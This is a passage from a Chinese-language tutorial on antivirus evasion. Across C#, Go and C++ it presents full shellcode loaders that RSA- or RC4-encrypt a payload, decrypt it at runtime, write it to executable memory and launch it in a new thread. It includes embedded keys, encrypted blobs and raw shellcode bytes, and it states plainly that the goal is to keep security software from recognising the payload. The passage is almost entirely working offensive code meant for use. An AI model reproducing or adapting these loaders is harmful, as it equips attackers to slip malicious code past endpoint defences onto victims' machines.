    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    public static void Main()
    {
        //私钥
        string privateKeyString = "<RSAKeyValue><Modulus>2dfHdf7+NlPUpk484LP9TvS7AX7nGbN6rj8wwzyGAv4ajAjvpyMmeKcqBDT9Ws9ApJsmEsThbN263GgrvDrqLZcqg6YN92DJz0YPjqL/CSxbk+y1L9GLTA8RfKXbWJ5XG2VRj7YoY1JIpFJiPprwCD+uDifayi8cEF76NZVCexV0XvkX3vhR+s8DhqNu0ZZA+6icqRLNY1n3vsv82fiG61Af/OnUmHkVA/8REzAOFXu8UIgiX1pGdtFeWNt9bLr3k7MIxTThMAlmtRfav3FyE8QaMPn45kzRuZk472WOeOtJwWOcmANm+NR4OBJBtR1HkOJ6EE/Z376/p7ykYZtFlQ==</Modulus><Exponent>AQAB</Exponent><P>7JaRCxukN+azx/UwsR7R5DVIQF16VnOXDu5Bc9TE/eFwJ8yM4H3wolr9t6XzEMCjK3TmUgNt2tOYjHhyFezWFngi5VZ4BARfUtBz4vyZLcVp/hKb2t+BtEAk6BRmL4cNsDDwE0V0fungTl1SwFuGdT1daxoyvHmVu+xI/I5yBhs=</P><Q>67d57f8SnAqt2TR+pFAN+vbFWRveNUDUgUq383Mw7letHJEwdLCK8R6yU+QwD72H/e0Ycf6joCxMMmjJA/8Hfqs+OHwAeFru//okw6N166sazLcPmDJ9uIXo3lT2ZiJbuz/dgDW6Xfto2VsHHoAsRvXX9T3AEjjNLuileIb9Xg8=</Q><DP>Ci8M/UJqVjGrCW9ncihWdpFIk+SyMGh3VyAwVxEQjbEXh88JPVyOcB6kjzQoe08fdu5oP52ALAwxo9JHbuQr7vmq3t5S+jFJ/SGV625eFZdK0bHxXYGDbsPYEtlV8LPKhgwFOX8i3ZepnRXtSvRlnERQ8hxFlNFS/azVE3H6PIM=</DP><DQ>Vt76r8y2tg11frxLBBGA5YH2v1126ldnOfMoki9c1Co54XJc0lSSEEUI4cQSNmraaKntvW1kLk7FEjruAmwF/hfsSXLh1Xll5a7xx6xBdEZODS5WL/hDvzKS3QWg/YkiF4N1BaBHfAWA4cIbgJEqQEiwe3BzjgOjEuuouB+/1t8=</DQ><InverseQ>CuHrw55cQkMrnYAHcTCgRXKAOA4PlgKUFQQ5DJ/ynfx4BkONzb2g5yuqVZ4aDvEYye4/H+xgRKiZzbf6/53acw6egV0+Zy73etvIN+HcG9QYpOxy+BMuw72xXt9hSvwiTvlo6jl+pBzohCvU44SrbJwk8wUZ6IhHGg7s/gSdSks=</InverseQ><D>TAJZS1ectbIMaba00SacRPdpZL01v6b7MF9GEWlFzTeCZcgcbrH6E3EoXO1sVUopYQXtg/EEQuse7xa94+CeoyeyotrG1sEDyXnFpdxDppy+m1+lXLj9pJ1BWb+5SDN/a0Sv77f8YaNtS0CfnP6MsCQgBDptwcwsO54YKagZ2T3fX5zmSU4cvwdWod5eGS5P9JM+ymFv16zBnFT88URNW84ZCXIKRx44G900rjw/jmOD0Q1HSr9Clw07Gw9wiJ82YMCEfQu1FYuhCFo4ApdbHCLT/tTMJ2aVydCnNhNdVXIX8wBWz6NtRiJ/BQF+JCRj2lyys7xrUPlQyfk9UZOiBQ==</D></RSAKeyValue>";
        
        //待解密的数据
        string encryptedString = "CE+lq0tEyJzwvgpbYFB87kBNYddcjhSQx3OEZt6qCi3whMp+JuxDyKh6fD4s3veO5BXDF02Dnf/ukddFdIk99sEljx2YOerjba0iiOk6Ne/AB6HR13RTaqQuo0dwJIY/hO1zKEq/9zuFvhQgqZyyjDdP3K2v+6oOrnCe3TdDaI7fcr/uF/n8N/2SZQsb7Mrt5c1ZziRywFweBWU5gKU1qOe90fkpKxJE3mhBgQSrwWWPIOb6rkQlJmadGPIN5Try3tSCoRoNW+KvQvA3YQIoh+ZUafHS3XvO1UMvuuXn26ljohQX+WiyvuuLbkIbh98QX4LE8wRMuwwFqkqPtH3ivl9pff+ciXcHrBvJGb4niJGgv1uoFjWWUvNiCYv8GiZ+u6On96NzvXE/cwc3rrpWM1OPneGqf50qP3ebPoVDpItuGrrdmmjwkRqxiorlZlKqt78HOpWTJ0vhAPdFPSN/7R6BWFCmUxfA1mGMB6u5xqHU01KDqC5sr/jCUW9UzzGEwZBJBdRvJ2K85qNr0HHFDRl6Cw+orEBAnAk5DLC8EVQf1F90A6m8ijWltgt1Kg1omiiyzlzHWoXkobc+IQLPcBOr1oM8iQ+TNgOkEtzp9IovXoFClUZ2+hK/zear9n6g0NoeFsLBgIXtPoJ+R5R1gxld0Ygw4ejQwPmazcMUH5c=";

        //RSA解密
        string decryptedString = Decrypt(encryptedString, privateKeyString);

        //base64解码
        byte[] shellcode = Convert.FromBase64String(decryptedString);

        // 申请可执行内存
        IntPtr pMemory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);

        // 将 shellcode 复制到申请的内存
        Marshal.Copy(shellcode, 0, pMemory, shellcode.Length);

        // 创建线程执行内存中的代码
        uint threadId;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMemory, IntPtr.Zero, 0, out threadId);

        // 等待线程执行完成
        WaitForSingleObject(hThread, 0xFFFFFFFF);

        // 释放内存(可选)
        VirtualFree(pMemory, 0, 0x8000);
    }


    public static string Decrypt(string str, string key)
    {
        using (var rsaProvider = new RSACryptoServiceProvider())
        {
            var inputBytes = Convert.FromBase64String(str);
            rsaProvider.FromXmlString(key);
            int bufferSize = rsaProvider.KeySize / 8;
            var buffer = new byte[bufferSize];
            using (MemoryStream inputStream = new MemoryStream(inputBytes),
                 outputStream = new MemoryStream())
            {
                while (true)
                {
                    int readSize = inputStream.Read(buffer, 0, bufferSize);
                    if (readSize <= 0)
                    {
                        break;
                    }
                    var temp = new byte[readSize];
                    Array.Copy(buffer, 0, temp, 0, readSize);
                    var rawBytes = rsaProvider.Decrypt(temp, false);
                    outputStream.Write(rawBytes, 0, rawBytes.Length);
                }
                return Encoding.UTF8.GetString(outputStream.ToArray());
            }
        }
    }
}

数据类型转换

  1. 加密:原始shellcode(字节数组)->base64编码(字符串)->RSA加密(字符串)

  2. 解密:字符串->RSA解密(字符串)->base64解码(字节数组,就是原始的shellcode)

3.3 Go

使用Go的 crypto 标准库实现RSA加密/解密

  1. 生成公钥和私钥

package main  
  
import (  
    "crypto/rand"  
    "crypto/rsa"    
    "crypto/x509"    
    "encoding/pem"    
    "fmt"    
    "log")  
  
// 生成 RSA 密钥对并以字符串形式返回  
func GenerateRSAKey(bits int) (string, string) {  
    privateKey, err := rsa.GenerateKey(rand.Reader, bits)  
    if err != nil {  
       log.Fatalf("密钥生成失败: %v", err)  
    }  
  
    // 将私钥转换为 PEM 格式  
    privateKeyPEM := &pem.Block{  
       Type:  "RSA PRIVATE KEY",  
       Bytes: x509.MarshalPKCS1PrivateKey(privateKey),  
    }  
  
    // 将私钥编码为 PEM 格式字符串  
    privateKeyString := string(pem.EncodeToMemory(privateKeyPEM))  
  
    // 将公钥转换为 PEM 格式  
    publicKey := &privateKey.PublicKey  
    publicKeyBytes, err := x509.MarshalPKIXPublicKey(publicKey)  
    if err != nil {  
       log.Fatalf("公钥生成失败: %v", err)  
    }  
  
    publicKeyPEM := &pem.Block{  
       Type:  "PUBLIC KEY",  
       Bytes: publicKeyBytes,  
    }  
  
    // 将公钥编码为 PEM 格式字符串  
    publicKeyString := string(pem.EncodeToMemory(publicKeyPEM))  
  
    return privateKeyString, publicKeyString  
}  
  
func main() {  
    // 生成 RSA 密钥对  
    privateKey, publicKey := GenerateRSAKey(2048)  
    fmt.Println("私钥:")  
    fmt.Println(privateKey)  
    fmt.Println("公钥:")  
    fmt.Println(publicKey)  
}
  1. 加密

package main  
  
import (  
    "crypto/rand"  
    "crypto/rsa"    
    "crypto/x509"    
    "encoding/base64"    
    "encoding/pem"    
    "fmt"    
    "log"    
    "os")  
  
// 使用公钥加密明文  
func EncryptWithPublicKey(plainText string, publicKey string) (string, error) {  
    block, _ := pem.Decode([]byte(publicKey))  
    if block == nil || block.Type != "PUBLIC KEY" {  
       return "", fmt.Errorf("无效的公钥 PEM 格式")  
    }  
  
    publicKeyInterface, err := x509.ParsePKIXPublicKey(block.Bytes)  
    if err != nil {  
       return "", fmt.Errorf("解析公钥失败: %v", err)  
    }  
  
    rsaPublicKey, ok := publicKeyInterface.(*rsa.PublicKey)  
    if !ok {  
       return "", fmt.Errorf("公钥类型不正确")  
    }  
  
    cipherText, err := rsa.EncryptPKCS1v15(rand.Reader, rsaPublicKey, []byte(plainText))  
    if err != nil {  
       return "", fmt.Errorf("加密失败: %v", err)  
    }  
  
    return base64.StdEncoding.EncodeToString(cipherText), nil  
}  
  
func main() {  
    // 公钥  
    publicKey := `-----BEGIN PUBLIC KEY-----  
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzlxQxb7oRjofmZuPUKnW  
/gTV5KueM+I7CmRWLoloES3atZKAo+PN+I8PinVmuGEVI/JI8DFoyjSyaaJiVUYj  
24ML4J6NsjKVyuCBTivuvTJZ6x65HDwuWG+68UnLZD+EB6E+NIY/uYWPWSw2TKOv  
Yb5b8hlcrIebKqDKFySzCNahLJ1wWNEaCZlF+PXlC95MSTvl3C4v03GxkZZ1E192  
wyKNGTSQjtzQdNk+ngZjwm/3uiaYplkY8JwI+Li2t8qxORAUzScRtbWApcy6M4Cn  
r45cdrBdqt7bkyISsyo9ykPWaXCkQjuYqN73X5YXEiVQacZUwBL4SscZliC1T6dt  
ZwIDAQAB  
-----END PUBLIC KEY-----`  
  
    // 明文  
    buf := []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,  
       0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28,  
       0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B,  
       0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,  
       0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,  
       0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,  
       0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07,  
       0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,  
       0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,  
       0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B,  
       0x5A, 0x59, 0x58, 0xC3}  
    plainText := string(buf)  
  
    fmt.Println("明文:", plainText)  
    // 使用公钥加密  
    cipherTextBase64, err := EncryptWithPublicKey(plainText, publicKey)  
    if err != nil {  
       log.Fatalf("加密失败: %v", err)  
    }  
    fmt.Println("加密后的密文 (Base64 编码):", cipherTextBase64)  
  
    // 将密文写入文件  
    fileName := "ciphertext.txt"  
    err = os.WriteFile(fileName, []byte(cipherTextBase64), 0644)  
    if err != nil {  
       log.Fatalf("写入文件失败: %v", err)  
    }  
  
    fmt.Printf("加密后的密文已写入文件: %s\n", fileName)  
}
  1. 解密

package main  
  
import (  
    "crypto/rand"  
    "crypto/rsa"    
    "crypto/x509"    
    "encoding/base64"    
    "encoding/pem"    
    "fmt"    
    "golang.org/x/sys/windows"    
    "io/ioutil"    
    "strings"    
    "unsafe")  
  
// 使用私钥解密密文  
func DecryptWithPrivateKey(cipherTextBase64 string, privateKey string) ([]byte, error) {  
    cipherText, err := base64.StdEncoding.DecodeString(cipherTextBase64)  
    if err != nil {  
       return []byte(""), fmt.Errorf("密文解码失败: %v", err)  
    }  
  
    block, _ := pem.Decode([]byte(privateKey))  
    if block == nil || block.Type != "RSA PRIVATE KEY" {  
       return []byte(""), fmt.Errorf("无效的私钥 PEM 格式")  
    }  
  
    privateKeyParsed, err := x509.ParsePKCS1PrivateKey(block.Bytes)  
    if err != nil {  
       return []byte(""), fmt.Errorf("解析私钥失败: %v", err)  
    }  
  
    plainText, err := rsa.DecryptPKCS1v15(rand.Reader, privateKeyParsed, cipherText)  
    if err != nil {  
       return []byte(""), fmt.Errorf("解密失败: %v", err)  
    }  
  
    return plainText, nil  
}  
  
func main() {  
    // 读取密文文件  
    fileName := "/* ciphertext.txt的路径 */"  
    cipherTextBase64, err := ioutil.ReadFile(fileName)  
    if err != nil {  
       fmt.Printf("读取文件失败: %v\n", err)  
       return  
    }  
  
    // 将读取的内容转换为字符串,并去除换行符  
    cipherText := strings.TrimSpace(string(cipherTextBase64))  
  
    privateKey := `-----BEGIN RSA PRIVATE KEY-----  MIIEpQIBAAKCAQEAzlxQxb7oRjofmZuPUKnW/gTV5KueM+I7CmRWLoloES3atZKA  o+PN+I8PinVmuGEVI/JI8DFoyjSyaaJiVUYj24ML4J6NsjKVyuCBTivuvTJZ6x65  HDwuWG+68UnLZD+EB6E+NIY/uYWPWSw2TKOvYb5b8hlcrIebKqDKFySzCNahLJ1w  WNEaCZlF+PXlC95MSTvl3C4v03GxkZZ1E192wyKNGTSQjtzQdNk+ngZjwm/3uiaY  plkY8JwI+Li2t8qxORAUzScRtbWApcy6M4Cnr45cdrBdqt7bkyISsyo9ykPWaXCk  QjuYqN73X5YXEiVQacZUwBL4SscZliC1T6dtZwIDAQABAoIBAQCffpBbVkM2TCQy  WB47rRli+Z/L/qzm0vro/EXz7/XEGVnKLrJIeYCvlPrg+/5pkXeCcffX1Yh1iKdA  p+YynGSIe8/JSyKfUSOfS0gFgEUka+89n2BZJ1Z2udyWM4AFOmY0c3adqAlGvaje  tiI9t+GMvVFZXCrZmnHeT6oCmzXZJI7UpniBWhV5jHG6HgnVKuc7i8UbJUpjAOcl  nx5PLlokv2Idyeb2+jn5ft22QQ+R+RG9uNZoGa13mNs/U9Sgw8pviaLqXXG2A41E  OyCNObHef2ZnwLyC29Kml+JiQLAylRAXwtnS1vwD/p62yWB6xXeVEMDScRdBIfB2  WPrs1tQBAoGBAOIqMtp2pjA8fvF0YWi3XNMBFDtmACCxZVMoBCijQs72O8eEWg0M  Ypxux/lF2XzF45GvzH6DUm/cSu5GuwbjpRl6GLwyiFaOhoZzhyldhks2vnRFKogc  bXVCtVAgzPXppmOf5/dsAmnOjLfR4H481jQ1yU5mPJB56VjuYVWl5UYBAoGBAOmV  TybQDmJlezBF2dyy2Zpxo1vtlBtPx8uhsdsn+6gDHO0RRIXCYlfy6y7UCjPTyOQs  jfIA3E9nqmi+QbGQc5cNSZ9zbKu9ubu8MsVj+98z39FF1tFt6ey8+2D7w9wDgF6N  S6zvNMwAeH5JZ3dIuOnsWfK4YMPmBrzJmh6LFkNnAoGBAMcqJChQjh8yVxPoyhM+  TkcezyNTus8PiUxGlAr5Ys8A9jnIKskM3BYoVIAG6/S+C55zMuFCYilR1MaqkO8L  L4wVAo1Q7tFSp9LlD+T0kFvR9LxNYJwGdLnrqeHLUNNKFBXtbohrnGBy3WbPMyPY  DUZjC0i4LaOJSF3hZuPWuOYBAoGASD3abgmY+Uujjul7mOtjq4WL3Ymb7dp903fd  1wcFqQ/VaWiWxbu5yLOjkycXRLIyhodVG0yy1ogcRyrYjH89kLEWXQ9Iw9D42Zw6  I5xpsL2Ncl7kMn+JAqPsJzGWgLxAfn26svCEZreajIxNSLIgJpDnvM7TdqL04HyF  gv7HUu8CgYEAjtr4+uDneSbkeEH9zw5+zDuVYO9peNqdgwdDymD1dn4lS9lPDAq2  jKpbe2Wr1N0akjVb9eRMZFr4O7HRrILqBmWtS/qE5SYW2+h+ZaFZrbBqvJGKg2Ti  soadQNqMp8qGu4o5oHrxo+zSs472ucdGlxEvIgOPIr33i2WYe+QYp98=  -----END RSA PRIVATE KEY-----`  
  
    // 解密密文  
    shellcode, err := DecryptWithPrivateKey(cipherText, privateKey)  
    if err != nil {  
       fmt.Println("解密过程中发生错误:", err)  
       return  
    }  
    //申请内存  
    addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)  
  
    //   复制shellcode到内存  
    ntdll := windows.NewLazySystemDLL("ntdll.dll")  
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")  
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  
  
    //   修改内存权限为可执行  
    var oldProtect uint32  
    _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)  
  
    //   创建线程  
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")  
    CreateThread := kernel32.NewProc("CreateThread")  
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)  
    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)  
}

用之前记得填写ciphertext.txt的路径

tmd,搞了一下午才发现是不能直接复制控制台输出的RSA加密的base64字符串,不然就是解密失败。算了,反正以后的加密shellcode都是要作分离处理的。

数据类型转换

  1. 加密:原始shellcode(字节数组)->强转string类型->RSA加密后(string类型)->base64编码后(字符串)->写入文件后(字节数组)

  2. 解密:读取文件后(字节数组)->强转string类型->base64解码后(字节数组)->RSA解密后(字节数组,就是shellcode)

四、RC4加密

RC4 已被认为不再安全,不过在免杀中我们不需要RC4的加密性,而是要求RC4加密的shellcode能在一段时间内杀软不能识别出来

4.1 C++

OpenSSL 库中提供了对 RC4 加密算法的实现。虽然 RC4 已被认为不再安全,OpenSSL 仍然保留了对它的支持,以兼容旧系统和应用程序。

RC4 支持任意长度的密钥,但通常建议使用 128 位(16 字节)密钥。

加密版

#include <iostream>
#include <openssl/rc4.h>
#include <iomanip>
#include <vector>
#include <cstring> // for strlen

void rc4_encrypt(const unsigned char* key, const unsigned char* input, unsigned char* output, int length) {
    RC4_KEY rc4Key;
    RC4_set_key(&rc4Key, strlen((const char*)key), key);
    RC4(&rc4Key, length, input, output);
}

// 输出十六进制格式的函数
void printHex(const unsigned char* data, size_t length) {
    for (size_t i = 0; i < length; ++i) {
        std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];
        if (i < length - 1) {
            std::cout << ", "; // 在每个字节后添加逗号和空格
        }
    }
    std::cout << std::dec << std::endl; // 恢复为十进制
}

int main() {
    unsigned char key[] = "mysecretkey"; // 密钥
    std::vector<unsigned char> plaintext = {
        0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
        0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
        0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
        0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
        0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
        0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
        0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
        0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
        0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
        0x5B, 0x5A, 0x59, 0x58, 0xC3
    }; // 明文

    // 创建一个与明文相同大小的向量用于存储密文
    std::vector<unsigned char> ciphertext(plaintext.size());

    // 加密
    rc4_encrypt(key, plaintext.data(), ciphertext.data(), plaintext.size());

    // 输出密文
    std::cout << "Ciphertext (hex): ";
    printHex(ciphertext.data(), ciphertext.size());

    return 0;
}

解密版

#include <iostream>
#include <openssl/rc4.h>
#include <vector>
#include <string>
#include <windows.h>

void rc4_decrypt(const unsigned char* key, const unsigned char* input, unsigned char* output, int length) {
    RC4_KEY rc4Key;
    RC4_set_key(&rc4Key, strlen((const char*)key), key);
    RC4(&rc4Key, length, input, output);
}

int main() {
    const unsigned char key[] = "mysecretkey"; // 密钥

    // 密文
    std::vector<unsigned char> ciphertext = { 0xba, 0x82, 0x2a, 0xeb, 0x96, 0x1e, 0x6b, 0xfa, 0xa0, 0x57, 0x56, 0x5e, 0x9b, 0x2e, 0xa7, 0xea, 0x50, 0x1d, 0x26, 0xf6, 0x2a, 0xc7, 0x37, 0xa4, 0x7b, 0xc5, 0xfb, 0x31, 0x4e, 0x9f, 0xc6, 0x48, 0x05, 0x62, 0x67, 0xe6, 0xcf, 0x69, 0x41, 0x9e, 0xa6, 0x40, 0x3c, 0x28, 0x3c, 0x9b, 0xf8, 0xd2, 0x2b, 0xfc, 0x7d, 0x5f, 0xb3, 0x51, 0x37, 0xe6, 0xa2, 0x4b, 0xd6, 0xc8, 0xe2, 0x03, 0x58, 0x16, 0x3d, 0xd3, 0xa1, 0x82, 0xe7, 0x61, 0x5f, 0x97, 0x5d, 0x97, 0x10, 0x25, 0x90, 0x0f, 0xbd, 0x66, 0x05, 0xee, 0x76, 0xa6, 0xf3, 0x4b, 0x0e, 0x95, 0x10, 0xc9, 0x39, 0xf3, 0x33, 0x12, 0x39, 0x76, 0x4e, 0xd3, 0x0f, 0xae, 0x30, 0x23, 0x4c, 0xcd, 0xc3 };

    std::vector<unsigned char> decryptedtext(ciphertext.size());

    // 解密
    rc4_decrypt(key, ciphertext.data(), decryptedtext.data(), ciphertext.size());

    std::cout << "Decrypted text: " << decryptedtext.data() << std::endl;

    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, decryptedtext.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, decryptedtext.data(), decryptedtext.size());

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

数据类型转换

  1. 加密:原始shellcode(字节数组)->RC4加密后(字节数组)

  2. 解密:密文(字节数组)->RC4解密后(字节数组,就是shellcode)

4.2 CSharp(自实现)

其实在 RC4 加密算法中,加密和解密实际上是使用相同的函数代码。这是因为 RC4 是一个对称加密算法,使用相同的密钥和相同的算法进行加密和解密。

加密版

using System;
using System.Text;

public class RC4
{
    private byte[] S = new byte[256];
    private int x = 0;
    private int y = 0;

    public RC4(byte[] key)
    {
        // 初始化状态向量 S
        for (int i = 0; i < 256; i++)
        {
            S[i] = (byte)i;
        }

        // 打乱状态向量 S
        int j = 0;
        for (int i = 0; i < 256; i++)
        {
            j = (j + S[i] + key[i % key.Length]) % 256;
            Swap(ref S[i], ref S[j]);
        }
    }

    public byte[] Encrypt(byte[] plaintext)
    {
        byte[] ciphertext = new byte[plaintext.Length];
        for (int i = 0; i < plaintext.Length; i++)
        {
            x = (x + 1) % 256;
            y = (y + S[x]) % 256;
            Swap(ref S[x], ref S[y]);
            byte k = S[(S[x] + S[y]) % 256];
            ciphertext[i] = (byte)(plaintext[i] ^ k);
        }
        return ciphertext;
    }

    private void Swap(ref byte a, ref byte b)
    {
        byte temp = a;
        a = b;
        b = temp;
    }

    // 示例用法
    public static void Main(string[] args)
    {
        // 密钥
        string key = "mysecretkey";

        // shellcode
        byte[] shellocde = new byte[] {0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
        0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
        0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
        0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
        0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
        0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
        0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
        0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
        0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
        0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
        0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
        0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
        0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
        0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00};

        // 加密
        RC4 rc4 = new RC4(Encoding.UTF8.GetBytes(key));
        byte[] ciphertext = rc4.Encrypt(shellocde);

        // 密文以base64编码字符串的形式输出
        Console.WriteLine(Convert.ToBase64String(ciphertext));
        Console.ReadKey();
    }
}

解密版

using System;
using System.Runtime.InteropServices;
using System.Text;

public class RC4
{
    private byte[] S = new byte[256];
    private int x = 0;
    private int y = 0;

    public RC4(byte[] key)
    {
        // 初始化状态向量 S
        for (int i = 0; i < 256; i++)
        {
            S[i] = (byte)i;
        }

        // 打乱状态向量 S
        int j = 0;
        for (int i = 0; i < 256; i++)
        {
            j = (j + S[i] + key[i % key.Length]) % 256;
            Swap(ref S[i], ref S[j]);
        }
    }

    public byte[] Encrypt(byte[] plaintext)
    {
        byte[] ciphertext = new byte[plaintext.Length];
        for (int i = 0; i < plaintext.Length; i++)
        {
            x = (x + 1) % 256;
            y = (y + S[x]) % 256;
            Swap(ref S[x], ref S[y]);
            byte k = S[(S[x] + S[y]) % 256];
            ciphertext[i] = (byte)(plaintext[i] ^ k);
        }
        return ciphertext;
    }

    private void Swap(ref byte a, ref byte b)
    {
        byte temp = a;
        a = b;
        b = temp;
    }

    // 声明 Windows API 函数
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    // 示例用法
    public static void Main(string[] args)
    {
        // 密钥
        string key = "mysecretkey";

        // 密文
        string ciphertextbase64 = "Fjv6uMBJXhklPP5ZcRL0NVtZLkgWKQ0HRjo6YWco4QJ0VsiCZJjGGNm33Y1SRy+XE/xDfBhVJ2DKV8g9vD8tIbFSKGZ+vmKJv83eUam1NtXYaXpZv0dAqOc93fTfJ57HmtbbqE94xvOLNla/Qu+ov7UZpNz4a7Wxk0D/E4G6TR/ga7cqM580xwmgiDtpzkOumW64wLLEXqD28Pb+PJ4thW1QJYnuMCpXFpLuihqd+JRwevNu8tfkF0auNe3qNMWliQ==";

        byte[] ciphertext = Convert.FromBase64String(ciphertextbase64);

        // 解密
        RC4 rc4Decrypt = new RC4(Encoding.UTF8.GetBytes(key));
        byte[] decryptedtext = rc4Decrypt.Encrypt(ciphertext);

        // 申请可执行内存
        IntPtr pMemory = VirtualAlloc(IntPtr.Zero, (uint)decryptedtext.Length, 0x1000 | 0x2000, 0x40);

        // 将 shellcode 复制到申请的内存
        Marshal.Copy(decryptedtext, 0, pMemory, decryptedtext.Length);

        // 创建线程执行内存中的代码
        uint threadId;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMemory, IntPtr.Zero, 0, out threadId);

        // 等待线程执行完成
        WaitForSingleObject(hThread, 0xFFFFFFFF);

        // 释放内存(可选)
        VirtualFree(pMemory, 0, 0x8000);
    }
}

数据类型转换

  1. 加密:原始shellcode(字节数组)->RC4加密后(字节数组)->base64编码(字符串)

  2. 解密:密文(字符串)->base64解码(字节数组)->RC4解密后(字节数组,就是shellcode)

4.3 Go

